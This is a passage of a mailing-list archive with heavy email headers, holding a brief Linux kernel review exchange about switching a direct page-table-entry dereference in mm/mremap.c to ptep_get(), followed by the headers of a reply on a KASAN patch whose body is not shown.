X-Microsoft-Antispam-Message-Info-Original:
 FC2/f3uqOPNNy96aL5tW8wkHImrCfVxh6gQab1ZKH0Q8V9H1vUmueEs6OtDiI8UtXir4rhhqasBx4ap8cYLSYxigO/kvUNlrkbD2UFdd/IpSC7NMQ5r2AdxEt7Dil8zElmXunvRoE5Tlg5sGnVdcymp/0GRd7uQDnxPOWfgMmzW1CCGhDM3v+DfMPVFosD2QLovucjpI0mdWXiiv3LhVLTTiqh85ygjUz5tiRxrntpo8otSPv4PIgvvvuRnm2hI0to5Mdar/A16FWVJK++gzpBzWDlclVVy9ObW6E9YNTB5AcXTLB2BRmht6C+LJ73SIGkvhND+munjpvjnCNX4GM+dv+iNc2yrnOKf3hduUdhhmqBZMJfBiFIXH6AC6j8q89bevK/2qXILNDQRfolUrwjbzI9gX0tiwMteCnIQTjkYrfh1NWlAMJBqRmVgkez0L1229MzW0FFHciClGqnCrHNlhG9+3JkyI/D1HQnoUBzVW2hMioefk3Nl3IAFu1t0UCQ9ab0zh4eIjPXw+czTd5wh5/3SUeVS2L3txx6cDHO6mWTMfg1iPlJNryIjRZOG4tQgZcfzHN0355IoQ1BJo9CIYMiBMGUUM/pO+t0/1P/UVaidrsdU8W1nwX5nKncAJfTqvDhCcwLQvvX6sZpr1j3KIOss8CU0HxU3z0QangmQ=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(7416014)(23010399003)(10067099003)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 PJVqIA2lDgDWhewu7hYynL9BtEIPBvddMwyA6Osilo+gjydcsIvk19XXBZt97+CSHOBCcSG1lF5ESd//62FEcnuW0Op041L9mUSopM9qIiRcFzs6jxJ5UjR3ygaJFlN1jkDri8tj2JilMkEJV/f+jXbciV8JLgAAjrVUK1FCu8cKe10e2R3XzHtcJB0d0wf+6uvadBsnplj1Vi9ZrgFvKbcSQ3nWsFAKAwekW3nE4LknTIXxlkyGUKh4agwsjc5N6hK6U9AG4+8fxKtOCwiJW0F14FybdRB0nEtZgFHfgnVXGE59pb5a47YhLFojq6ZdSXR/ked5yu0EJrH2ID3F1g==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AM8PR08MB6499
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AMS1EPF00000049.eurprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	4668f8d0-8f81-4de8-943a-08deee3a6347
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|14060799003|7416014|376014|36860700016|35042699022|23010399003|22082099003|18002099003|4143699003|11063799006|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	O10KOqaXNNUMGR3ls13Np733WLe/+mOUvsHHZK/1xvrOwAaQ3gFyBxD+l4l/yBYETpIfea/UPYyKQXoQWiI0DSf1odiOCn6popV8LeIpeABO8yxkDTap5/ruOMVRfjZLI+0dyHD2AhwqvqDKwora12Uzpxg5urIAPa4gB4EupFRX2Hn9n44kVOaLGJvtbo8AwcybPdx/0cJa2AJXutypzyXOBgYu01V+1NdEtnTlnYyeIniUXiAnZO49zzm2SNvplb2ENgqH6kDZY6eds91aQiTx482FiXo7rQjGer9COEf14KfzsCpgPlo1fLcsJHpS0AhX+6OMTsFA8hsTeu15rGfNPkZrHHJ26Ckw3dA+BOJgVzXOj23My+cRSUZNShklge4arjFOhFMdufo1oPFS8qTpz2tmePAKyDSH7nPAGbR9xQbXnhP39MsUvAYKW9rqMxOtkcT0WsbMA10oUDQ75qNh/i9wl7+THUtbY6fK2MtIFC1s36xsX/Ic+6MccQazOuyXmxWpeY2nLID1Otx4XZpVckuFKv3PMeX4Jz/TThbno8qKIDdQQ82uFvW1ZyzaBwGQdGB3vQ/wX3zoRXr+FkEefBgM9O9xHiFWaZuexJKpGcJY0/ICp7lY2aJEmvGBR/wlK5Irpmo3gcy4rrPqBVgZzL8WivKrJwxuvXgYKM6AzbyC5XB5RWoaraT+RnB+bvHE26VpYqRqh7ejd3XkzA==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(14060799003)(7416014)(376014)(36860700016)(35042699022)(23010399003)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	O0tk75Jwa84mlQCh/jghGzah7Zx4wyBrsFKWBapww83B2Rc5zJP6DKPrz2Uug6JPaPNE+9z2QJlnOBHI5eVJvoivlaP5RB0CDEgLDuDWcRD+uFLUl7J24b6Fh42l/El51riqiL/qx8KLaCiZ3QEA+zMCBEPyTCyleaxfiFROcNsSg7Y0+OwvImkIDS3t6ybum1bYLPDeEvQ/niHon1ljqZi8pGpTndyPvy9tSEgttv7Cwu5YZ0FINdmLMPGMOdm4dq6a5pPvgR0KIEK4XtfwADa29iGw+N9A5AaE3kjZpOuY2T60KxAgD44ofaWhiDmg/gIpQeLlQgG0eGkeGaAhv8dZj8ZlgZmaMiccf1N7/RZyq3/dv3uUyldCsqo3IFF21Ksrf85EBWTicCY/fo8/58SOakbPyIkgIp44+9WMgCZzxrQeA0gufUQ9J4l3XfkD
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 13:00:31.6304
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 2422e5ee-63ab-47d4-de99-08deee3a8993
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AMS1EPF00000049.eurprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PR3PR08MB5609
X-purgate-ID: tlsNG-d25034/1785416436-022C0A5B-2239D27B/0/0
X-purgate-type: clean
X-purgate-size: 1385

On 30/07/2026 12:29 pm, Alexander Gordeev wrote:
> On Mon, Jul 27, 2026 at 05:46:58PM +0100, Muhammad Usama Anjum wrote:
>> move_ptes() directly dereferences new_ptep when checking that the
>> destination slot is empty. new_ptep now points to hw_pte_t table storage,
>> while pte_none() consumes a logical pte_t value.
>>
>> Read the destination entry through the standard ptep_get() accessor before
>> passing the logical value to pte_none().
>>
>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>> ---
>>  mm/mremap.c | 2 +-
>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/mm/mremap.c b/mm/mremap.c
>> index d966ee8248b6b..ecb90ccee6fdd 100644
>> --- a/mm/mremap.c
>> +++ b/mm/mremap.c
>> @@ -264,7 +264,7 @@ static int move_ptes(struct pagetable_move_control *pmc,
>>  
>>  	for (; old_addr < old_end; old_ptep += nr_ptes, old_addr += nr_ptes * PAGE_SIZE,
>>  		new_ptep += nr_ptes, new_addr += nr_ptes * PAGE_SIZE) {
>> -		VM_WARN_ON_ONCE(!pte_none(*new_ptep));
>> +		VM_WARN_ON_ONCE(!pte_none(ptep_get(new_ptep)));
> 
> Same as the previous patch, except that I did it already:
> https://lore.kernel.org/linux-mm/20260720141633.501799-1-agordeev@linux.ibm.com/
I'll drop this patch.

> 
>>  
>>  		nr_ptes = 1;
>>  		max_nr_ptes = (old_end - old_addr) >> PAGE_SHIFT;
>> -- 
>> 2.47.3
>>

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 13:12:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 13:12:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377765.1623598 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQZ0-00046l-9v; Thu, 30 Jul 2026 13:12:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377765.1623598; Thu, 30 Jul 2026 13:12:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQZ0-00046e-6t; Thu, 30 Jul 2026 13:12:42 +0000
Received: by outflank-mailman (input) for mailman id 1377765;
 Thu, 30 Jul 2026 13:12:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wpQYy-00046X-Nu
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:12:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpQYx-00BGKD-WF
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:12:40 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b4dc7-2eae-0a2a0a5409dd-0a2a4509b0d6-0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:12:39 +0200
Received: from [40.107.130.64]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b4dc7-be1a-0a2a45090019-286b8240994a-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:12:39 +0200
Received: from DB9PR01CA0002.eurprd01.prod.exchangelabs.com
 (2603:10a6:10:1d8::7) by AM8PR08MB6548.eurprd08.prod.outlook.com
 (2603:10a6:20b:314::14) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Thu, 30 Jul
 2026 13:12:34 +0000
Received: from DU6PEPF00009524.eurprd02.prod.outlook.com
 (2603:10a6:10:1d8:cafe::3f) by DB9PR01CA0002.outlook.office365.com
 (2603:10a6:10:1d8::7) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.14 via Frontend Transport; Thu,
 30 Jul 2026 13:12:34 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DU6PEPF00009524.mail.protection.outlook.com (10.167.8.5) with Microsoft SMTP
 Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8 via
 Frontend Transport; Thu, 30 Jul 2026 13:12:34 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by DU0PR08MB8953.eurprd08.prod.outlook.com (2603:10a6:10:464::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Thu, 30 Jul
 2026 13:11:27 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 13:11:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=pEc6fa3mEJOvXiB224Jt+RUwMBLfyyppWSKKSlGBGDlBR23quMtPG3UMWAgFfn/F/iPOxpvZiAAlLgtSkGw+WSRH04mGi2zJZNbJUMEkRjQFPmFqeclv35FY7QYuqtvx2OCky+ssKX16iUQTuKjH5ylyI6VH5UzYYuhO0S0cnZgI5MIpmYsXN2O7kdZlX9NVnSykOj+nhfw5CGCbSr1c1c0FBfnp97vulyeo8chu8FYxIQjCWA04bEETvPqw4SzhBWWn6/olEoDw4t2Evs0ISqjm9HrzCjL4vaCtWw2wE90bnQTzClcuFHj2AtntpqGt9xfi0AT929dN72JYmxhqUQ==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=vQZW+B7zgckTDD0haxJi9xCCLpf7V5m2hM0k7yoDU4M=;
 b=vk69tWtE6zg7lIV0xZKpGypN1G3XMmiiumB/NFz7fv3UfBhCiOxt1E1+58F/mC+3eYSn07CVbZgz0VWbEfR7MWuJj8L4LTaaWro8YeisDAJqrOACvBT9Ier3hhlf8h/TPufDLjeD+H1FnedvG5Z/O1QNIG4RuMkXuYmOCelZLXW0QAFKj9Z0cfIVR0EORlyV1RHayogu0Z84X/EmfoROUMGBOyog5e8b6u3EAcMdBrO7yWmlzMB+7uOcC0Scqo5pVCKD1xnajtc9rM/1d3IuY8olsE3xM4DaLlMSYos8sWQ1hsVq4ywn5MuIZFtyErWqDX8reGQiOGj41QMaaS7X8w==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=linux.ibm.com smtp.mailfrom=arm.com;
 dmarc=pass (p=none sp=none pct=100) action=none header.from=arm.com;
 dkim=pass (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=vQZW+B7zgckTDD0haxJi9xCCLpf7V5m2hM0k7yoDU4M=;
 b=lJAVj20TaOQoNE2FeZbkilvS81u7tHGQZ3LZZMIShp1rOXFQDO28HhereLybauXTgTLFkKhUqGQp/vI3TCRyw1s2aeDxESh77xfSSMQxJkVB6e6nJ7PgVVvV/QsyTjX8EEHGerKuQE7S6/DeeMbekH16okby3YYu78cKGgsSA+Y=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=LRaIZg0OtleIlPYF9fRGjQgEDulFFA4oqKbKEgDZmJsS1026axwXb3wSL8u76K9bcnOfOdJDW0J8O9Stt4YwDTwjWhsz0Pf/JveP07mUskfbm01vTppSS6Mx7xE7HgtA59dH3bFmKGPAzdtFDW/SgGa/WtIYKL8Xe+eepsiEELlhSQKbGBR4w5nwPWO6+Gq4CjBtrjfupWwR0xOlTcc/J2UiSSdmDhWQH33OAFaeImWgvP1Pxq+7zr3FcHdBF9/Hw9uZprvjXApXb4ThZuunrxgPnSYkKQAcWF39sJXBJTGTrLh9OlRMF6WT6KKrBc3fxmJrbO1Jf4nBp45ZukFwLQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=vQZW+B7zgckTDD0haxJi9xCCLpf7V5m2hM0k7yoDU4M=;
 b=YOToT8jlJfifOb3Pqsmabq1zSS0Ji07lJFrUlvNbWkaZkCzsyYLnfH8r/PL9SjNAgs7OoAFXoL6Z0ZXDuSioc2dvGAfYJXxKb8v0IzDHDti3DiInLnuUQdlYEGlYTHLob8rV7Ptz4vpOdZ8ZoemoWOIWWqv6gY6cYPDF6HP2oBe9qnoXSbi+SiaERsuHN2AR0glncLLkIyCO2gn16MLgU7ZmprOPwox536LYo0/j6ZZILqA0lNNdgs9I4zoQqLvTeg/o2gJ4oDtbdfutyQuylCowSyIU2E2mtOjmOSPQ0YMGfrZm+y+nphPvk8wcf7YmOFPyBklUOGKgASMxnNKJgg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=vQZW+B7zgckTDD0haxJi9xCCLpf7V5m2hM0k7yoDU4M=;
 b=lJAVj20TaOQoNE2FeZbkilvS81u7tHGQZ3LZZMIShp1rOXFQDO28HhereLybauXTgTLFkKhUqGQp/vI3TCRyw1s2aeDxESh77xfSSMQxJkVB6e6nJ7PgVVvV/QsyTjX8EEHGerKuQE7S6/DeeMbekH16okby3YYu78cKGgsSA+Y=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <2203157b-0a88-4f42-9c15-b1696614d74d@arm.com>
Date: Thu, 30 Jul 2026 14:11:22 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 06/11] mm/kasan: use hw_pte_t for the early shadow PTE
 table
To: Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-7-usama.anjum@arm.com>
 <e3bca247-0644-48ac-96c0-ea69b23cb11f-agordeev@linux.ibm.com>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <e3bca247-0644-48ac-96c0-ea69b23cb11f-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO2P265CA0481.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:13a::6) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|DU0PR08MB8953:EE_|DU6PEPF00009524:EE_|AM8PR08MB6548:EE_
X-MS-Office365-Filtering-Correlation-Id: a9915b72-a3d9-48ae-0244-08deee3c384d
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|366016|23010399003|376014|7416014|1800799024|6133799003|56012099006|11063799006|4143699003|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 A3geUA+4p5re27ojxPsMilqcXfe8IJ7nI4+D10DCbVZaXhB1UI0fkgENFQvlp++zbEYirHCtgaZUBpLkHWwrCyQJohIneLa3tuj/61DV+DCJVtR57C9dq5LrHAO3sVqaGvZsj5agrY63c5wMB1FR94P3Gt7QhDVLu5cACXNz534fif7gHSgBHK4wBj3h+q9jXvZbde2gflnmlDEwIMHWS0CAGcVQmoH4PhIQio5UvYBKtwdbHGZpi1MSxg80hZ+ZEX+SVgRJKVWbPjuamkmFEcQ4ls+kIr1ODilp9YvLSEyrgexN56udDGyGcIqxKfY4e5NZ4fUEDH10iSh2RjToHcMrSHqXqBfgg2LLdBwIOaK3xYxpTPLWMN2bd27YZBI8aiP3Be4TFTH2Wkp2J4FooGl3lhPffk09pQIv8KIheJRm3zqKzuaWwyPSrO3CzGNlhacqPW5xAZLvsMRhZYvX/5yVF6AKxLj2uPOlobCeKhy6Dl5yEcSJw/ukaMhmKrfDHu1chfllhaf33QukxyMjKGqi0GsNliwTww1ocVnCmbokO9+67cjdNU5uHB5NoaUXF2rYmNL8wSXTUmVIllDikFU7cWnCwkL5caa4nfmRpKVxHpX/joTt0HGkJecPkfvS+3pAikU9LsvgbZbONBulpswO3cMkybt56JsNdI6vaC4=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(7416014)(1800799024)(6133799003)(56012099006)(11063799006)(4143699003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 pGNMqoFxLradfRwtZU0HeZlDsmECcdkuaLVRTDL6qPOVnXuuGO7JtOkW/QGzUUum40KYRW9JE20k4bMoR/JVQObFFCh8SMBrJ1LKWlC5KnzCtIAjzTMrA0H3bIvy8aY4tM/+cKxg92fwbS/30ixXRzG7gDQiNkih2WzNy/tDl0qoZIhyA42NNxZ3qW21lYesTDKEDV1tEelcwrj1oVNVNsvC2OT+2Lzl/cP1yigX71cV1ujvMIAZXBkyN7kxbJ614cB/v/WKUu+t0qcy9ChYHwAbVmAlaBlARTkZ3Q+TX+IE7vnN8i0wbCnaSZactLK9TEIfnJmqitXZEm7sIcZOIg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU0PR08MB8953
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DU6PEPF00009524.eurprd02.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	d350bb23-b4b7-48a2-6f00-08deee3c0f46
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|14060799003|1800799024|23010399003|376014|7416014|82310400026|35042699022|11063799006|56012099006|10067099003|4143699003|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	2VYZMdAeudjMl+4Dw1NODUR9sYMjct+es23eEH/LR/ozPMPhRUjz1GtgrsImVSOeFq75OOzYFfwcfJn77IVzjEuRpBJrVLdP8r8VFlbizJce7FbHP0CH7qcv2f0f2hOVqfBpV5EFL+Q/g/LWYR4QhNTKzDoBMMh/4dEzT/5An9FBBvSKgNbYSma2tXuL7ZhJBIFmF8VNoRNQAdOt6R24wPFIUrQOpvIof8lEphqtXIhR0XOFqQ9oa0gmfoIbX8ZvBsGWSheTDicib88lLGXV8EvclaB4A4kWb6Qe+HaeCgB0n/Dmn8E+GM4SD0TKHI5ysvyI8LPCqR9fqXifYAZMJGDTdNHJn0WLbcxxGymSePQG1hUoAAUrCkOFk8NGqFG1T9Nhe2xlxdFHpFVZg4YUgV23c0h5XTiPMW2jtxwXL3DNFvfm+x5uzppT4S+qpi/ik5RNVttl0/WzHJqCoBWJPxkmrCbHWev3squuVaSIsO0fbgQh1qxCLAIp4JISKo6Afchf431Kn7rllI3xeGpFSO2ZEyidRDxVi7Q1hGorY98tPhXTxqJMJ6bd5AHkmAcVOt8DpkhnZzs9GgJiUi8G2u2rtiq8f4AmhWpOMazkKyDuGtG9aPBD4YQSoeQoXcOV/8qHC9LdGdPbUuRHQRQkOkf9Iua7eHmazLLcCED9vpqtETJXE4MllD5+I+L238F1N7TdIqU9yQp9csPwCZEz8w==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(14060799003)(1800799024)(23010399003)(376014)(7416014)(82310400026)(35042699022)(11063799006)(56012099006)(10067099003)(4143699003)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ysRyGaFXeBl76+d9ZdjYsPiabcZ+OXNtSjZrivoKU+JFNPFEGnvPH5X3YJn5bdOAE8TEGdpenCnm1eAdX+DGF5tUTawanZZqgAH2UoB2xcteoyfORc20iusBxBgLq2vlEgfx2ZUT8g/nUESSV7jEiZm5awYxBjtBBH/Yz3dn2mcbD7gDaYSzo/FiDYujp7WiwXdFiaiYQgiuVBQLOruAfjGdVI7CFcE7p6Rk+iiXvZDVW3Hhh3FLIJeosBx5Vj2HQjLFCSKYrh4EwWJm9LPwHHYfMMfEjQ6DjLJ6zeiA7vdnrEanR7eMal7vBarvuU/VOezPAu+GEab0JnULqd+WqDHtbf3fJPoW0cdwASIO8LbpLV2/aQ9lbeYFeIRI0DZmnksO51luoBLTB4PxbNxvTrzJE0Y3ugJJimkmmZuOUzYs8ijq27WR3egnyO/XBSK/
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 13:12:34.2554
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: a9915b72-a3d9-48ae-0244-08deee3c384d
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
